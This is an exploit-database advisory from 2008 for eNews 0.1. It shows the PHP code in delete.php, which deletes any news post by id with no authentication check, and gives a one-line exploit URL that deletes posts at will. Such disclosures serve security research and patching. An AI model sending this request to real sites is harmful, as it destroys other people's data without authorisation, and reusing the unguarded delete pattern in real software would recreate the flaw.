eNews 0.1 - 'delete.php' Arbitrary Delete Post

Author: ilker Kandemir
type: webapps
platform: php
port: 
date_added: 2008-06-20 
date_updated: 2016-12-08 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

eNews 0.1 (delete.php) Arbitrary Delete Post Vulnerability


Author: iLker Kandemir [MEFISTO]

Script download : http://www.hotscripts.com/Detailed/81086.html

script demo : http://emvvy.com/demos/enews/

site : www.dumenci.net

----------------------------------------------------------------
//poc:

if ((isset($_GET['delete'])) && ($_GET['delete'] != "")) {
  $deleteSQL = sprintf("DELETE FROM news WHERE id=%s",
                       GetSQLValueString($_GET['delete'], "int"));

----------------------------------------------------------------

//exploit :

http://[site]/delete.php?delete=[eNews_id]

----------------------------------------------------------------

tnx : aLL my FriEndZ

# milw0rm.com [2008-06-21]